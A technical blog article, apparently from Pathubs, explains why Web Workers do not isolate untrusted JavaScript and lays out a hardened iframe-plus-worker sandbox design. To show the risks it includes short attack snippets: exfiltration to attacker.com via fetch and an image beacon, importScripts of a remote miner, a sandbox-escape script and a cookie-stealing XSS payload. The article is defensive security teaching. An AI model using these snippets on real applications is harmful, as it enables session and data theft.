Imagine you are building an interactive coding platform, a plugin system, or a workflow engine. Users submit custom JavaScript snippets to automate calculations, format data, or build UI extensions. To keep the interface snappy, your team places the untrusted code inside a Web Worker.
The code runs in a background thread. If a user submits an infinite loop (while(true) {}), your main thread stays silky smooth. You set a timer, call worker.terminate(), and pat yourself on the back: *our sandbox works.*
Except it doesnβt.
Two weeks later, a security researcher submits a bug bounty report. By writing three lines of JavaScript inside your "sandboxed" worker, they issued a credentialed fetch('/api/user/billing') call that returned the logged-in administratorβs payment details. They exfiltrated the entire database stored in IndexedDB, established a WebSocket connection to an external command-and-control server, and used the visitorβs browser to participate in a distributed denial-of-service attack.
The worker executed off the main thread, but it executed inside your application's origin.
This scenario illustrates the single most dangerous architectural misconception in modern web security: confusing thread isolation with security isolation.
worker.terminate(). They solve responsiveness and availability, not hostile-code containment.
- What Web Workers Lack: They do not restrict origin privileges. A standard same-origin worker inherits ambient cookies, access to IndexedDB, CacheStorage, fetch(), XMLHttpRequest, WebSocket, and importScripts().
- The Core Isolation Boundary: To safely run untrusted code in the browser, you must isolate the Origin Tuple (scheme://host:port) using cross-origin subdomains or sandboxed iframes with opaque (null) origins.
- Defense in Depth: True containment requires a 6-layer architecture: an opaque-origin iframe, an inner Web Worker for watchdog termination, a dedicated restrictive Content Security Policy (connect-src 'none'), an explicit structured message schema, and strict output sanitization.
- When to Move Server-Side: If untrusted programs need filesystem access, package installation (npm/pip), multi-language runtimes, or strict OS-level resource quotas, browser execution is insufficientβyou must move to server-side microVMs.---
1. What Does "Sandbox" Actually Mean?
In modern web development, the term *sandbox* is tossed around casually. Developers describe virtual DOMs, shadow DOMs, iframe embeds, and Web Workers as sandboxes. But in application security, a sandbox is not a vibeβit is a formal boundary that restricts an untrusted program's access to memory, capabilities, and system resources.
To evaluate any client-side execution environment, we must disaggregate "isolation" into six distinct technical dimensions:
| Isolation Dimension | What It Restricts | Browser Mechanism | Web Worker Alone? |
|---|---|---|---|
| Execution Isolation | Prevents blocking the host threadβs call stack | Separate event loop / background thread | Yes (Runs on background thread) |
| DOM Isolation | Blocks reading or mutating parent UI elements | No window or document in global scope | Yes (No DOM access) |
| Origin Isolation | Blocks access to parent cookies, storage, and sessions | Same-Origin Policy, separate domains, opaque origins | No (Shares parent origin) |
| Network Isolation | Prevents unauthorized egress, telemetry, and exfiltration | Content Security Policy (connect-src), proxy mediation | No (Can access fetch, sockets) |
| Capability Isolation | Restricts device APIs, storage engines, and dynamic evaluation | Permissions Policy, CSP script-src, sandboxed scopes | No (Has IndexedDB, caches) |
| Resource Quotas | Caps CPU time, memory consumption, and concurrency | Watchdog termination, browser memory limits | Partial (Can terminate; cannot limit heap) |
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE BROWSER ISOLATION SPECTRUM β
βββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββ€
β PERFORMANCE ISOLATION β SECURITY ISOLATION β
β (What Web Workers Provide) β (What Untrusted Code Requires) β
βββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ Background thread execution β β’ Origin boundary (cannot touch app state) β
β β’ Unblocked UI event loop β β’ Network quarantine (cannot exfiltrate) β
β β’ Watchdog loop termination β β’ Capability stripping (no IndexedDB/APIs) β
β β’ Prevents browser tab freeze β β’ Memory & output sanitization β
βββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββWhen you understand this taxonomy, the problem becomes obvious: Web Workers solve performance isolation, but they do almost nothing for security isolation.
---
2. What Web Workers Actually Protect
To build an effective defense, we must first give Web Workers credit for what they *do* achieve.
When you instantiate a Dedicated Web Worker:
// host-application.js
const worker = new Worker('/workers/runner.js');
worker.postMessage({ code: userSubmittedCode });
worker.onmessage = (event) => {
console.log('Result from worker:', event.data);
};The browser creates a completely new JavaScript runtime environment governed by DedicatedWorkerGlobalScope. This boundary provides three critical performance and architectural guarantees:
1. Dedicated Event Loop and Thread Isolation
The worker operates on an independent operating system thread managed by the browser. If the user-submitted code contains an accidental or malicious infinite loop:
// Malicious snippet
while (true) {
// Consumes 100% of the worker thread's CPU
}The host applicationβs main thread continues running. Your buttons remain clickable, animations stay smooth at 60 FPS, and the browser tab does not trigger the dreaded "Page Unresponsive" modal.
2. Elimination of Direct DOM and Window Access
In DedicatedWorkerGlobalScope, the following objects are simply undefined:
windowdocumentparenttop
Untrusted code running in a worker cannot traverse the DOM tree, install keyloggers on input fields, rewrite forms to point to phishing URLs, or inject rogue <script> tags into the parent document.
3. Asynchronous Message Passing and Clean Termination
Communication between the host and the worker occurs exclusively via structured cloning over postMessage(). There is no shared memory heap (unless you explicitly allocate and share a SharedArrayBuffer).
Crucially, the host retains lifecycle supremacy:
// Watchdog timer on the host
const WATCHDOG_TIMEOUT_MS = 2000;
const watchdog = setTimeout(() => {
console.warn('Execution exceeded budget. Terminating worker.');
worker.terminate(); // Immediately halts the thread and destroys the scope
}, WATCHDOG_TIMEOUT_MS);When worker.terminate() is called, the browser forcefully disposes of the worker's execution context. This gives you an enforceable availability guarantee.
---
3. What a Worker Does Not Automatically Restrict
Here is where the illusion collapses. While the worker has no DOM, it remains an active participant in your application's security context.
Unless wrapped in an unprivileged cross-origin boundary, a Web Worker inherits the exact same origin (scheme://host:port) as the parent page that instantiated it.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE SAME-ORIGIN WORKER TRAP β
β β
β Host Document: https://app.example.com/workspace β
β β β
β βββ spawns ββ> Worker: https://app.example.com/worker.js β
β β β
β βββ fetch('/api/private-data') β
β β [Sends cookies! Reads auth response!] β
β β β
β βββ indexedDB.open('AppDatabase') β
β β [Full read/write access to local data!] β
β β β
β βββ importScripts('https://evil.com/x.js') β
β [Loads and runs unvetted remote scripts!] β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββConsider the dangerous capabilities that remain fully operational inside a standard same-origin worker:
1. Ambient Credentials and Same-Origin Networking
According to the Fetch Specification, fetch() calls inside a same-origin worker include credentials by default (credentials: 'same-origin').
If your host page is https://app.example.com, untrusted code inside the worker can execute:
// Executing inside untrusted worker
fetch('/api/user/profile')
.then(res => res.json())
.then(sensitiveData => {
// Exfiltrate to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(sensitiveData)
});
});Because the worker shares the app.example.com origin, the browser attaches all session cookies (including HttpOnly session tokens) to the request. The backend server cannot distinguish between a legitimate request made by your React application and an unauthorized request made by the untrusted script running inside the worker.
2. Direct Access to Client-Side Databases
Web Workers do not have access to localStorage (because localStorage is synchronous and blocked from worker scopes by design). However, Web Workers have full, unrestricted access to `IndexedDB` and `CacheStorage`:
// Reading host app's IndexedDB from worker
const req = indexedDB.open('offline_workspace_data', 1);
req.onsuccess = (e) => {
const db = e.target.result;
const tx = db.transaction('documents', 'readonly');
const store = tx.objectStore('documents');
store.getAll().onsuccess = (evt) => {
console.log('Stolen offline documents:', evt.target.result);
};
};If your application caches customer data, encryption keys, draft documents, or authentication tokens in IndexedDB, untrusted JavaScript in a same-origin worker can read, alter, or wipe out those databases.
3. Arbitrary Script Ingestion via `importScripts()`
Worker scopes expose importScripts(), a synchronous API that downloads and evaluates remote JavaScript files:
// Loading remote exploit payloads into the worker
importScripts('https://cdn.attacker.com/advanced-crypto-miner.js');Unless blocked by an explicit script-src directive in your Content Security Policy, the untrusted snippet can pull in megabytes of obfuscated exploits, telemetry trackers, or cryptominers at runtime.
4. Background Network Sockets and Communication Channels
Workers can instantiate:
WebSocketEventSource(Server-Sent Events)BroadcastChannel
Through a BroadcastChannel, an untrusted worker can intercept or inject messages into other browser tabs that your user has open on the same origin. Through WebSockets, it can establish a persistent, bidirectional channel to an attacker's infrastructure.
---
4. The Same-Origin Problem: Dissecting the Origin Tuple
At the heart of web security is the Same-Origin Policy (SOP). The browser defines an origin as a strict tuple:
$$\text{Origin} = (\text{Scheme}, \text{Host}, \text{Port})$$
Two resources have the same origin if and only if all three components match identically:
| URL 1 | URL 2 | Same Origin? | Reason |
|---|---|---|---|
https://app.example.com/editor | https://app.example.com/api | Yes | Identical scheme, host, and port (443) |
https://app.example.com/editor | http://app.example.com/editor | No | Scheme mismatch (https vs http) |
https://app.example.com/editor | https://api.example.com/editor | No | Host mismatch (app vs api subdomain) |
https://app.example.com:443 | https://app.example.com:8443 | No | Port mismatch (443 vs 8443) |
When you run untrusted code under your primary application's origin, you grant that code permission to speak on behalf of your user.
Why Subdomains Aren't Always Enough
Many teams recognize this danger and introduce a sandbox subdomain, such as https://sandbox.example.com. While this creates a distinct origin, it introduces subtle architectural failure modes if not configured with defense-in-depth:
- Permissive Wildcard Cookies: If your authentication session cookie is scoped to
.example.com(with a leading dot or root domain scope), the browser will automatically transmit that cookie to requests originating fromsandbox.example.com. - Permissive CORS Configurations: If your backend API checks CORS headers using a regex like
/example\.com$/, requests fromsandbox.example.comwill be trusted, allowing the sandbox to make cross-origin authenticated API calls. - Shared `document.domain` Mutation (Legacy): Although modern browsers have heavily restricted or deprecated
document.domainmutations, legacy setups that relax domain boundaries can inadvertently collapse origin separation.
To achieve genuine security isolation, the sandbox must either live on a completely separate, cookie-less apex domain (e.g., example-usercontent.com) or utilize the browser's built-in opaque origin mechanism.
---
5. The iframe Sandbox: Capabilities, Flags, and the Fatal Combination
The <iframe> element provides the browser's native declarative sandboxing mechanism via the sandbox attribute.
<iframe src="sandbox.html" sandbox="allow-scripts"></iframe>When the sandbox attribute is present on an <iframe>, the browser treats the embedded document as if it were loaded from an opaque origin (its origin serializes to "null"), and it applies maximum restrictions by default.
The Granular Sandbox Flags
The sandbox attribute operates on a zero-trust model: omitting all flags imposes maximum lockdown. You selectively re-enable capabilities by specifying space-separated tokens:
| Flag Token | What It Permits | Security Implications for Untrusted Code |
|---|---|---|
| *(No tokens)* | Absolute lockdown | No scripts, no forms, no popups, opaque origin. Content is static text/media. |
allow-scripts | JavaScript execution | Required for code execution. Enables running scripts, but retains opaque origin. |
allow-same-origin | Retains document's origin | DANGEROUS if combined with `allow-scripts` on same-origin host. |
allow-forms | Form submission | Untrusted code can submit forms to external servers (phishing/data exfiltration). |
allow-popups | window.open() popups | Untrusted code can spawn new browser tabs or windows to phish users. |
allow-top-navigation | Navigates the host tab | Untrusted code can redirect the user away from your app (top.location = ...). |
allow-downloads | File downloads | Untrusted code can trigger automatic malicious payload downloads. |
The Fatal Combination: `allow-scripts` + `allow-same-origin`
There is a catastrophic mistake that appears in thousands of codebases and online tutorials:
<!-- CATASTROPHIC SECURITY VULNERABILITY -->
<iframe src="/sandbox-runner.html" sandbox="allow-scripts allow-same-origin"></iframe>Why do developers do this? Because without allow-same-origin, the iframe cannot access same-origin assets, local scripts, or styling. So they add both flags to "make it work."
The official W3C HTML Specification and MDN explicitly publish a stern warning regarding this pattern:
> Critical Warning: Combining allow-scripts and allow-same-origin when the embedded document has the same origin as the outer page allows the embedded script to simply reach into the parent DOM and remove the sandbox attribute entirely.
Here is the exact attack sequence:
// Inside the iframe with allow-scripts allow-same-origin
// 1. Script has same origin as parent -> Can access window.parent
const parentDoc = window.parent.document;
// 2. Locate its own iframe element in the parent DOM
const myIframe = parentDoc.querySelector('iframe');
// 3. Strip the sandbox attribute
myIframe.removeAttribute('sandbox');
// 4. Directly execute code in the parent context
window.parent.eval("fetch('/api/admin/delete-all', { method: 'POST' })");By specifying both allow-scripts and allow-same-origin on an iframe served from your own domain, you have made the sandbox no more secure than having no sandbox at all.
The Correct Rule of Thumb
- If an iframe runs untrusted scripts, it must never have
allow-same-originif it is served from the same domain as your sensitive application. - When
allow-same-originis omitted, the browser forces the iframe into an opaque origin ("null"). It cannot touch cookies, cannot touch localStorage, cannot touch parent DOM, and cannot remove its own sandbox restrictions.
---
6. Content Security Policy: What `unsafe-eval` Really Does
To execute arbitrary JavaScript submitted as a string at runtime, an engine typically relies on dynamic evaluation:
// Dynamic evaluation primitives
eval(userCode);
new Function(userCode)();
setTimeout(userCode, 0);By default, any modern, secure web application defines a strict Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';Under this policy, the browser's JavaScript engine throws a fatal runtime exception if any code attempts to invoke eval() or new Function():
Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval'
is not an allowed source of script in the following Content Security Policy directive: "script-src 'self'".The Wrong Solution: Relaxing the Main App CSP
Faced with this error, inexperienced teams often modify their server's CSP header:
# EXTREMELY DANGEROUS: Relaxing the host application
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval';Adding 'unsafe-eval' to your main application destroys one of the web platform's most vital defense-in-depth barriers. If an attacker discovers an existing Cross-Site Scripting (XSS) vulnerability anywhere in your application (such as an unsanitized comment field, markdown parser bug, or third-party tracking library defect), the presence of 'unsafe-eval' allows them to turn simple DOM manipulation into full, unconstrained script execution with access to your authentication state.
The Correct Solution: Isolated Sandbox Document CSP
Instead of relaxing the host application's CSP, you create a dedicated, unprivileged sandbox document hosted on a separate origin or an opaque iframe. This sandbox document carries its own ultra-restrictive CSP tailored specifically for safe evaluation:
# Sandbox Document Headers (served from sandbox.yourcompany-usercontent.com)
Content-Security-Policy:
default-src 'none';
script-src 'unsafe-eval' 'unsafe-inline';
connect-src 'none';
style-src 'unsafe-inline';
img-src data:;Let's dissect this policy:
default-src 'none': All capabilities (frames, objects, fonts, media) are disabled by default.script-src 'unsafe-eval' 'unsafe-inline': Allows the sandbox to dynamically compile and run user snippets, but *only* inside this unprivileged document.connect-src 'none': The critical defense. Completely disablesfetch(),XMLHttpRequest,WebSocket, andEventSource. Even if the untrusted script attempts to make network calls, the browser blocks them at the network layer.
What About `wasm-unsafe-eval`?
If your architecture uses a WebAssembly-based sandbox (such as QuickJS compiled to WASM), CSP Level 3 provides an even safer directive: wasm-unsafe-eval.
Content-Security-Policy: default-src 'self'; script-src 'self' 'wasm-unsafe-eval';This permits the compilation and instantiation of WebAssembly binary modules without permitting general string-to-JavaScript evaluation (eval remains blocked).
---
7. The Pathubs Untrusted Code Boundary
To bridge the gap between theory and production engineering, Pathubs has developed an architectural model for client-side JavaScript execution: The Pathubs Untrusted Code Boundary.
This framework consists of six interconnected security boundaries. If any single boundary is omitted, the integrity of the host application degrades.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE PATHUBS UNTRUSTED CODE BOUNDARY β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β [ HOST APPLICATION: https://app.pathubs.com ] (Trusted Origin) β
β β β
β β 1. Execution Request (Strict JSON: { id, code, timeoutMs }) β
β βΌ β
β [ SECURITY CONTROLLER & SANITIZER ] β
β β β
β β 2. postMessage() with structured payload β
β βΌ β
β [ ISOLATED IFRAME: sandbox="allow-scripts" ] (Opaque / Null Origin) β
β βββ Dedicated CSP: connect-src 'none'; default-src 'none'; β
β β β
β β 3. Spawns ephemeral worker from Blob URL β
β βΌ β
β [ DEDICATED WEB WORKER ] (Off Main Thread) β
β βββ Executes user code β
β βββ Watchdog timer enforces execution budget β
β βββ Captures console.log / returns calculated result β
β β β
β β 4. postMessage({ id, status: 'success', result }) β
β βΌ β
β [ HOST RESULT RECEIVER ] β
β βββ Verifies source window & message schema β
β βββ Sanitizes returned text / formatting β
β βββ Renders safely via textContent (Zero raw innerHTML) β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββThe Six Dimensions in Practice:
- Execution Boundary: User code runs inside an ephemeral Web Worker. If the code enters an infinite loop or performs heavy computation, it runs on an isolated CPU thread without degrading the host UI.
- Origin Boundary: The worker is spawned from within an
<iframe>configured withsandbox="allow-scripts"(and neverallow-same-origin). This strips the document of ambient credentials and isolates it to an opaque origin ("null"). - Capability Boundary: The iframe enforces a CSP containing
connect-src 'none'. Outbound network access is physically blocked by the browser engine. - Control Boundary: The host application manages a strict watchdog timer. If the worker does not return a response within the allocated execution budget (e.g., 2,000 ms), the host calls
worker.terminate(). - Communication Boundary: Messages between the host and sandbox cross an explicit, typed boundary. The host rejects any message that does not conform to a strict schema.
- Recovery Boundary: When a timeout, unhandled exception, or unexpected error occurs, the host immediately disposes of the worker, tears down the iframe, and returns a clean, structured diagnostic report to the user.
---
8. A Safe Message Protocol
Using postMessage() does not automatically make your application secure. If your message handler blindly accepts payloads from any window, or if your message format is unstructured, you expose your host to Cross-Site Scripting and privilege escalation.
The Problem with Opaque Origin Verification
In typical cross-window communication, security best practices dictate checking event.origin:
// Standard postMessage handler
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted-domain.com') {
return; // Reject untrusted sender
}
processData(event.data);
});However, when an iframe is sandboxed with sandbox="allow-scripts" (without allow-same-origin), the browser sets event.origin to the literal string "null".
Here is the security catch: any sandboxed iframe from any website in the world sends an origin of `"null"`. Furthermore, local files (file://) and data: URIs also produce an origin of "null". Therefore:
// DANGEROUS: Does NOT prove message came from YOUR sandbox!
if (event.origin === 'null') {
// Vulnerable to messages sent by any third-party malicious iframe on the page!
}The Correct Verification Technique
To securely verify messages arriving from an opaque-origin sandbox, you must check the `event.source` reference against your known iframe element's contentWindow:
// host-controller.ts
class SecureSandboxManager {
private iframe: HTMLIFrameElement | null = null;
private pendingRequests = new Map<string, {
resolve: (val: unknown) => void;
reject: (err: Error) => void;
timer: ReturnType<typeof setTimeout>;
}>();
constructor(iframeElement: HTMLIFrameElement) {
this.iframe = iframeElement;
window.addEventListener('message', this.handleMessage.bind(this));
}
private handleMessage(event: MessageEvent) {
// 1. Verify that the message originated precisely from our sandbox iframe
if (!this.iframe || event.source !== this.iframe.contentWindow) {
return; // Reject messages from other windows or frames
}
// 2. Validate strict schema
const data = event.data;
if (!data || typeof data !== 'object' || typeof data.id !== 'string') {
console.warn('Malformed message received from sandbox. Dropping.');
return;
}
const pending = this.pendingRequests.get(data.id);
if (!pending) {
return; // Stale, timed-out, or forged request ID
}
// Clear watchdog timer
clearTimeout(pending.timer);
this.pendingRequests.delete(data.id);
// 3. Handle response based on explicit type
if (data.type === 'EXECUTION_SUCCESS') {
pending.resolve(data.payload);
} else if (data.type === 'EXECUTION_ERROR') {
pending.reject(new Error(String(data.error)));
} else {
pending.reject(new Error('Unknown message type received'));
}
}
public execute(code: string, timeoutMs: number = 2000): Promise<unknown> {
const id = crypto.randomUUID();
return new Promise((resolve, reject) => {
const timer = setTimeout(() => {
this.pendingRequests.delete(id);
this.recycleSandbox(); // Destroy and restart sandbox on hard timeout
reject(new Error(`Execution timed out after ${timeoutMs}ms`));
}, timeoutMs);
this.pendingRequests.set(id, { resolve, reject, timer });
// Post code to sandbox iframe
this.iframe?.contentWindow?.postMessage(
{ id, type: 'EXECUTE_CODE', code },
'*' // Target origin is '*' because sandbox has opaque origin 'null'
);
});
}
private recycleSandbox() {
// Teardown and rebuild iframe on timeout or severe error
console.info('Recycling unresponsive sandbox iframe...');
// Implementation of iframe re-initialization
}
}---
9. Network Access and Data Exfiltration
Even if an untrusted script cannot read local session cookies or parent DOM elements, unrestricted network egress transforms the user's browser into a potential attack proxy.
Attack Vectors via Unrestricted Network Egress:
- Intranet Scanning and SSRF: Untrusted code running in an internal company employee's browser can use
fetch('http://192.168.1.1/admin')to scan internal subnets, router admin portals, and internal Kubernetes services that are inaccessible from the public internet. - Cryptocurrency Mining / Distributed Denial of Service (DDoS): A network-capable worker can send thousands of
fetch()requests per second to target third-party servers, turning legitimate site visitors into an unintentional botnet. - Data Exfiltration via Query Parameters: If the script extracts data (such as calculations or environment variables), it can exfiltrate it via GET parameters:
new Image().src = 'https://attacker.com/log?data=' + encodeURIComponent(data).
Defense in Depth: The Tri-Layer Network Quarantine
To prevent network abuse, implement three complementary controls:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TRI-LAYER NETWORK QUARANTINE ARCHITECTURE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β Layer 1: Content Security Policy (Browser-Enforced) β
β Header: Content-Security-Policy: default-src 'none'; connect-src 'none'; β
β -> Blocks fetch(), XMLHttpRequest, WebSocket, and EventSource. β
β β
β Layer 2: Environment Neutralization (Scope-Enforced) β
β Inside Worker: delete self.fetch; delete self.XMLHttpRequest; β
β delete self.WebSocket; delete self.importScripts; β
β -> Removes network constructors before evaluating user code. β
β β
β Layer 3: Cross-Origin Isolation (Network Credential Guard) β
β Host sandbox on separate apex domain: https://sandbox-usercontent.com β
β -> Ensures no ambient credentials exist even if a request were made. β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ---
10. Timeouts, Infinite Loops, and Resource Abuse
One of the most persistent operational challenges with running user-submitted code is managing compute budgets. Consider the following failure modes:
Scenario A: The Synchronous Infinite Loop
// CPU exhaustion
while (true) {}Because the untrusted code executes inside a dedicated Web Worker, the host's watchdog timer fires reliably:
// The host timer fires independently on the main thread
setTimeout(() => {
worker.terminate(); // Browser forcefully aborts worker execution
}, 2000);Scenario B: The Asynchronous Event Loop Starver
// Microtask queue flooding
function flood() {
Promise.resolve().then(flood);
}
flood();Microtask queue flooding prevents macrotasks (setTimeout, message handlers) from executing within the worker thread. However, calling worker.terminate() from the host bypasses the worker's internal event loop entirely, destroying the underlying V8/SpiderMonkey isolate.
Scenario C: Memory Allocation Attacks
// Heap exhaustion attack
const chunks = [];
while (true) {
chunks.push(new Uint8Array(1024 * 1024 * 50)); // 50 MB per iteration
}An Honest Technical Truth: Standard browser APIs do not provide a fine-grained, cross-browser API to set a strict memory limit (e.g., "cap this worker at exactly 64 MB of RAM").
If a worker consumes excessive memory, the browser's operating system process may crash, or the browser may terminate the tab's renderer process.
Mitigations for Memory Abuse:
- Execution Deadlines: Set tight execution windows (e.g., 500 ms to 2,000 ms). Memory exhaustion takes CPU cycles; short timeouts limit the total bytes an attacker can allocate.
- Payload Size Boundaries: Impose strict character limits on submitted code (e.g., maximum 64 KB of source text).
- ArrayBuffer Allocation Guards: If you provide helper utilities to the sandbox, override or wrap constructors (
ArrayBuffer,Uint8Array) with maximum allocation checks before user code executes.
---
11. Treat the Output as Untrusted
Sandbox security does not end when code execution completes. What the untrusted script returns to the host application is just as dangerous as the code itself.
Consider what happens when a developer renders output in an online playground:
// CATASTROPHIC VULNERABILITY IN THE HOST APPLICATION
worker.onmessage = (event) => {
const result = event.data.result;
// Attacker returned: "<img src=x onerror=alert(document.cookie)>"
outputContainer.innerHTML = result; // DIRECT XSS IN HOST DOM!
};If the user-submitted script returns malicious HTML strings, rendering that output directly via innerHTML grants the attacker immediate Cross-Site Scripting inside your trusted host application.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE OUTPUT SANITIZATION PIPELINE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β [ Untrusted Sandbox Output ] β
β β β
β βΌ β
β Is the output pure text/console logs? β
β βββ YES ββ> Render using .textContent or secure preformatted elementsβ
β β β
β βββ NO (Requires HTML/DOM preview) β
β β β
β βΌ β
β [ Dedicated Preview Sandbox ] β
β β’ Render inside an isolated, cross-origin <iframe> β
β β’ Enforce sandbox="allow-scripts" on unprivileged domain β
β β’ Never evaluate inside the parent application DOM β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββGolden Rules for Output Handling:
- Never use `innerHTML` for code results: Use
textContentor safe DOM node creation (document.createTextNode). - JSON Serialization Guard: Ensure that returned objects pass through
JSON.parse(JSON.stringify(val))or a strict validator to strip prototype pollution vectors (__proto__,constructor). - Sanitize Console Interceptions: If your sandbox intercepts
console.logto stream logs back to the UI, serialize arguments as plain strings before posting them across the boundary.
---
12. Complete Reference Architecture: Building the Production Sandbox
Let's assemble these principles into a clean, modular production implementation.
Our architecture consists of three files:
sandbox.html: The unprivileged, sandboxed iframe entry point.sandbox-runner.js: The worker script that executes user code and captures logs.HostSandboxController.ts: The host-side controller managing lifecycles and messaging.
1. The Sandbox Document (`sandbox.html`)
This file is hosted on an unprivileged domain or served inside an opaque-origin iframe:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<!-- Ultra-strict CSP: Zero outbound network, dynamic evaluation permitted only here -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' blob:; connect-src 'none';">
<title>Isolated Sandbox Runner</title>
</head>
<body>
<script>
// Worker script as an inline string to avoid external script loading
const WORKER_CODE = `
// Strip dangerous capabilities from worker global scope
delete self.fetch;
delete self.XMLHttpRequest;
delete self.WebSocket;
delete self.EventSource;
delete self.importScripts;
self.onmessage = function(e) {
const { id, code } = e.data;
const logs = [];
// Intercept console.log safely
const originalLog = console.log;
console.log = function(...args) {
logs.push(args.map(arg => {
try {
return typeof arg === 'object' ? JSON.stringify(arg) : String(arg);
} catch (err) {
return '[Unserializable Object]';
}
}).join(' '));
};
try {
// Execute untrusted code via Function constructor
const executeFn = new Function(code);
const rawResult = executeFn();
let serializedResult;
try {
serializedResult = typeof rawResult === 'object' ? JSON.stringify(rawResult) : String(rawResult);
} catch(e) {
serializedResult = '[Unserializable Result]';
}
self.postMessage({
id: id,
type: 'EXECUTION_SUCCESS',
result: serializedResult,
logs: logs
});
} catch (err) {
self.postMessage({
id: id,
type: 'EXECUTION_ERROR',
error: err.name + ': ' + err.message,
logs: logs
});
} finally {
console.log = originalLog;
}
};
`;
let activeWorker = null;
const blob = new Blob([WORKER_CODE], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(blob);
function getOrCreateWorker() {
if (!activeWorker) {
activeWorker = new Worker(workerUrl);
activeWorker.onmessage = function(e) {
// Relay message back to parent window
window.parent.postMessage(e.data, '*');
};
}
return activeWorker;
}
// Listen for execution commands from the host application
window.addEventListener('message', function(e) {
if (e.data && e.data.type === 'EXECUTE') {
const worker = getOrCreateWorker();
worker.postMessage({ id: e.data.id, code: e.data.code });
} else if (e.data && e.data.type === 'TERMINATE') {
if (activeWorker) {
activeWorker.terminate();
activeWorker = null;
}
}
});
</script>
</body>
</html>2. The Host Controller (`HostSandboxController.ts`)
The TypeScript manager running in your primary application:
export interface SandboxExecutionResult {
result: string;
logs: string[];
executionTimeMs: number;
}
export class HostSandboxController {
private iframe: HTMLIFrameElement;
private pending = new Map<string, {
resolve: (val: SandboxExecutionResult) => void;
reject: (err: Error) => void;
startTime: number;
timer: ReturnType<typeof setTimeout>;
}>();
constructor(sandboxUrl: string, container: HTMLElement) {
this.iframe = document.createElement('iframe');
// Strict sandbox attributes: Allow scripts, OMIT allow-same-origin!
this.iframe.setAttribute('sandbox', 'allow-scripts');
this.iframe.style.display = 'none';
this.iframe.src = sandboxUrl;
container.appendChild(this.iframe);
window.addEventListener('message', this.handleMessage.bind(this));
}
private handleMessage(event: MessageEvent): void {
// 1. Strict source validation
if (event.source !== this.iframe.contentWindow) {
return;
}
const data = event.data;
if (!data || typeof data.id !== 'string') return;
const request = this.pending.get(data.id);
if (!request) return;
clearTimeout(request.timer);
this.pending.delete(data.id);
const executionTimeMs = performance.now() - request.startTime;
if (data.type === 'EXECUTION_SUCCESS') {
request.resolve({
result: data.result,
logs: Array.isArray(data.logs) ? data.logs : [],
executionTimeMs
});
} else {
request.reject(new Error(data.error || 'Execution failed'));
}
}
public async runCode(code: string, timeoutMs: number = 2000): Promise<SandboxExecutionResult> {
const id = crypto.randomUUID();
return new Promise((resolve, reject) => {
const timer = setTimeout(() => {
// Enforce hard termination
this.iframe.contentWindow?.postMessage({ type: 'TERMINATE' }, '*');
this.pending.delete(id);
reject(new Error(`Execution timed out after ${timeoutMs}ms`));
}, timeoutMs);
this.pending.set(id, {
resolve,
reject,
startTime: performance.now(),
timer
});
this.iframe.contentWindow?.postMessage({
id,
type: 'EXECUTE',
code
}, '*');
});
}
public destroy(): void {
window.removeEventListener('message', this.handleMessage.bind(this));
this.iframe.remove();
}
}---
13. Alternative: WASM QuickJS Sandboxes
For applications requiring uncompromising, mathematical isolation within the browser, there is a powerful alternative: executing an embedded JavaScript interpreter inside WebAssembly.
Instead of feeding user code into the browser's native V8 or SpiderMonkey engine via new Function(), you compile QuickJS (Fabrice Bellardβs lightweight JavaScript engine) or Duktape into a WebAssembly binary.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β WASM-BASED QUICKJS SANDBOX ARCHITECTURE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β [ Browser Native Runtime (V8 / SpiderMonkey) ] β
β β β
β βββ Loads QuickJS WebAssembly Module (.wasm) β
β β β
β βββ [ Linear WASM Memory Buffer (e.g. 16 MB heap) ] β
β β β
β βββ [ QuickJS Bytecode Engine & Parser ] β
β β β β
β β βββ Executes user code: `const x = 10 + 20;` β
β β β
β βββ ZERO BROWSER APIS EXIST HERE: β
β β’ No window, document, or DOM β
β β’ No fetch(), XMLHttpRequest, or WebSocket β
β β’ No IndexedDB, CacheStorage, or cookies β
β β’ No V8 JIT compiler side-channels β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββWhy WASM Sandboxing Is Uniquely Secure:
- Zero Native API Surface: The QuickJS WASM runtime knows only what C standard library functions are compiled into it. It has no physical mechanism to invoke
fetch(), read cookies, or traverse the DOM unless you explicitly write bridge functions. - Defeats JIT Side-Channels: Native browser JavaScript engines use complex Just-In-Time (JIT) compilers that can occasionally be vulnerable to speculative execution timing attacks (Spectre/Meltdown variants). QuickJS is a pure bytecode interpreter, eliminating JIT-induced security vulnerabilities.
